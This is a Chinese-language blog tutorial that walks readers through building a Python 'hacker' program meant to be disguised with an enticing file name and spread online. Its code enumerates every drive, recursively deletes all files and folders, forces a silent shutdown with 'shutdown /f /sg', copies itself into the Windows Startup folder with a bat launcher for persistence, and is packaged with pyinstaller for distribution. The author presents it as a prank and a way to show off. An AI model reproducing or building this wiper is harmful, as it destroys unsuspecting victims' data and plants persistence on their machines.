使用Python一鍵刪除全盤文件自動關機并留后門
回復“書籍”即可獲贈Python從入門到進階共10本電子書
/1 前言/
今天我們要做的案例是怎樣利用Python做一個hacker軟件。
眾所周知,一般的Hacker對于黑操作系統(tǒng)一般常用手法莫過于發(fā)送木馬客戶端,修改系統(tǒng)注冊表。
組策略,獲得開機啟動權限,入侵電腦然后對電腦的文件進行修改來達到不可告人的目的。
今天我們要講的就是最基礎的,怎樣獲得開機啟動,先給大家講最基礎添加文件到系統(tǒng)啟動項的文件夾中,當然更加高端點也可以使用注冊表添加,這里不在累述。好了,下面開始正題。。。。。。
/2 實現(xiàn)步驟/
首先我們通過社會工程學進行一個分析,準備一個足夠吸引人的exe文件名稱好讓人第一眼看到就想點擊它的欲望;等到別人點擊了之后了這個程序是沒有任何響應的,那么有的人也許會多點幾下程序,當然這也對程序沒有任何影響。下面我們來看一下:
首先我們得獲取系統(tǒng)盤盤符,這個我們可以使用os模塊通過對環(huán)境變量的字典鍵值來得到當前系統(tǒng)盤盤符。
import osprint(os.getenv('SystemDrive'))

得到盤符后我們先可以將他的目錄下的文件和文件夾打印出來
aa=os.getenv('SystemDrive')os.chdir(aa+'\\\\') \#修改當前目錄os.system('tree\>\>1.txt') 打印樹形目錄并將其結果保存到1.txt文件中



然后我們只需要刪除盤符下的文件夾和文件即可
所以我們需要用到 os 的walk遍歷當前盤符下的所有文件,然后使用remove方法和rmdir方法,一個是刪除文件另一個是刪除目錄
好了。我們開始吧,由于沒有虛擬機于是自己創(chuàng)建一個目錄放了若干文件夾和文件,效果都一樣
path = r"C:\\Users\\Administrator\\Desktop\\sa"os.walk() 方法用于通過在目錄樹中游走輸出在目錄中的文件名,向上或者向下。
os.walk()方法是一個簡單易用的文件、目錄遍歷器,可以幫助我們高效的處理文件、目錄方面的事情。
語法:
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])
參數(shù):
top -- 根目錄下的每一個文件夾(包含它自己), 產(chǎn)生3-元組 (dirpath, dirnames,filenames) 【文件夾路徑, 文件夾名字, 文件名】。
topdown --可選,為True或者沒有指定,一個目錄的的3-元組將比它的任何子文件夾的3-元組先產(chǎn)生 (目錄自上而下)。
如果topdown為 False, 一個目錄的3-元組將比它的任何子文件夾的3-元組后產(chǎn)生(目錄自下而上)。
onerror -- 可選,是一個函數(shù); 它調用時有一個參數(shù),一個OSError實例。報告這錯誤后,繼續(xù)walk,
或者拋出exception終止walk。
for root,dirs,files in os.walk(path,topdown=False):\for name in files:os.remove(os.path.join(root, name))for name in dirs:os.rmdir(os.path.join(root, name))



其實還有一種方法,就是shutil.rmtree(path),但是它會刪除目錄本身及所有子文件夾和文件,也就是說他會刪除sa這個目錄,所以不推薦這種搞法,因為我們要刪除的是盤符下的文件夾或者文件,這樣做很容易導致未知的錯誤
得到了系統(tǒng)盤符之后,我們還想得到系統(tǒng)其它盤符那該怎么辦了,不著急,我們可以試試下面這種方法。
import osimport stringdef get_pan():disk_list=[] \#磁盤盤符列表for p in string.ascii_uppercase: \#遍歷所有大寫字母disk=p+':'if os.path.isdir(disk): \#看磁盤盤符名用了哪些大寫字母開頭disk_list.append(disk) \#添加到盤符列表return disk_listprint(get_pan()) #打印盤符


結果很完美,跟我預想的一模一樣,連u盤盤符也打印出來了~
光打印一個磁盤目錄文件好像顯得有點美中不足,于是我決定吧所有磁盤目錄文件都整出來,老樣子,還是樹形結構。



這樣每個盤的目錄結構就都保存在對應盤的2.txt文件中了。
然后我們將會把這些盤符下的目錄文件全部刪除,當然遍歷刪除啦,為了模擬真實場景我決定用幾個帶有多層文件和目錄的文件夾來代替盤符,這里我就不一一截圖了,直接上代碼,老樣子
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']for y in g:for root, dirs, files in os.walk(y,topdown=False):\for name in files:os.remove(os.path.join(root, name))for name in dirs:os.rmdir(os.path.join(root, name))
ok,我們已經(jīng)將文件及目錄全部刪除。
刪除文件后了系統(tǒng)自然無法正常運行,于是這個時候我們可以使電腦關機,shutdown ,我的不二選擇,它的方法有很多,用法如下:
shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f]/m \computer[/d [p|u:]xx:yy [/c “comment”]]
沒有參數(shù) 顯示幫助。這與鍵入 /? 是一樣的。
顯示幫助。這與不鍵入任何選項是一樣的。顯示圖形用戶界面(GUI)。這必須是第一個選項。注銷。這不能與 /m 或 /d 選項一起使用。關閉計算機。關閉計算機。在下一次啟動時,重啟任何注冊的應用程序。完全關閉并重啟計算機。完全關閉并重新啟動計算機。在重新啟動系統(tǒng)后,重啟任何注冊的應用程序。中止系統(tǒng)關閉。這只能在超時期間使用。/fw 結合使用,以清除任何未完成的至固件的引導。關閉本地計算機,沒有超時或警告??梢耘c /d 和 /f 選項一起使用。休眠本地計算機??梢耘c /f 選項一起使用。執(zhí)行計算機關閉并進行準備以快速啟動。必須與 /s 選項一起使用。與關閉選項結合使用,使下次啟動轉到固件用戶界面。記錄計算機意外關閉的原因。轉到高級啟動選項菜單并重新啟動計算機。/r 選項一起使用。\\computer 指定目標計算機。xxx 將關閉前的超時時間設置為 xxx 秒。0-315360000 (10 年),默認值為 30。0,則默示為/f 參數(shù)。"comment" 有關重新啟動或關閉的原因的注釋。最多允許 512 個字符。強制關閉正在運行的應用程序而不事先警告用戶。/t 參數(shù)指定大于 0 的值,則默示為 /f 參數(shù)。[p|u:]xx:yy 提供重新啟動或關閉的原因。p 指示重啟或關閉是計劃內的。u 指示原因是用戶定義的。p 也未指定 u,則重新啟動或關閉是計劃外的。xx 是主要原因編號(小于 256 的正整數(shù))。yy 是次要原因編號(小于 65536 的正整數(shù))。
所以我們得調用os.popen('shutdown /f /sg'),這樣就可以在沒有任何提示下關機了,神不知鬼不覺,哈哈哈,當然這個操作得是基于文件操作結束后進行的,再次進行優(yōu)化
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']for y in g:try:for root, dirs, files in os.walk(y,topdown=False):for name in files:os.remove(os.path.join(root, name))for name in dirs:os.rmdir(os.path.join(root, name))time.sleep(1)except Exception:passfinally:os.popen('shutdown /f /sg')\
我們把程序發(fā)到網(wǎng)上運氣好別人點擊了,得讓那個文件在自啟動目錄然后每次開機那個程序才會跟著啟動啊,但是你想讓別人把那個文件放到啟動目錄里去,做夢呢?這些操作當然交給萬能的Python就能一步搞定啦。我們可以在點擊這個文件之后快速生成一個bat文件和一個EXE文件或者Python文件。
在這里我以Python 和bat為主,因為我還沒打包的緣故。
自啟動目錄路徑:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startupimport shutilshutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\StartMenu\\Programs\\StartUp\\gc1.py')
在這里我們用到shutil這個模塊,專門操作文件目錄的Copyfile方法是將當前資源文件復制到另一個目錄下的文件,但是需要注意一點的是,兩個文件名不可一樣,否則會報錯,雖然它可以復制,如果你非得用這個方法,記得拋異常。好了,現(xiàn)在可以了:



然后我們還需要一個bat來啟動它,因為沒有bat它是需要借助外力去點擊才有效果的,有了bat就可以自動啟動。
建立一個后綴為bat的文件,內容如下:

同樣的。我們還是需要我們的Python來智能產(chǎn)生bat文件那么該怎樣寫了,很簡單,有人問我為什么是pythow不是Python,因為前者運行后沒有黑窗口,當然不管是創(chuàng)建bat文件還是復制程序文件都最好在刪除之后調用,有人問我,你的文件都刪除完了,留那一個有何用,哈啊哈哈,我只能說,僅供娛樂。。。
回到正題,程序文件只需創(chuàng)建一個就ok。


這樣就算是大功告成了,然后我們也可以把Python文件打包,這樣bat文件里就不需要寫解釋器了,因為有的目標電腦可能沒有Python環(huán)境,這個時候需要我們用pyinstaller打包一下。打包好了之后,直接把bat文件內容改為start gc.exe就可以了。
打包成exe文件之后了,就可以發(fā)布到網(wǎng)上裝X啦,哈哈哈~
------------------- End -------------------
往期精彩文章推薦:

歡迎大家點贊,留言,轉發(fā),轉載,感謝大家的相伴與支持
想加入Python學習群請在后臺回復【入群】
萬水千山總是情,點個【在看】行不行
/今日留言主題/
隨便說一兩句吧~~
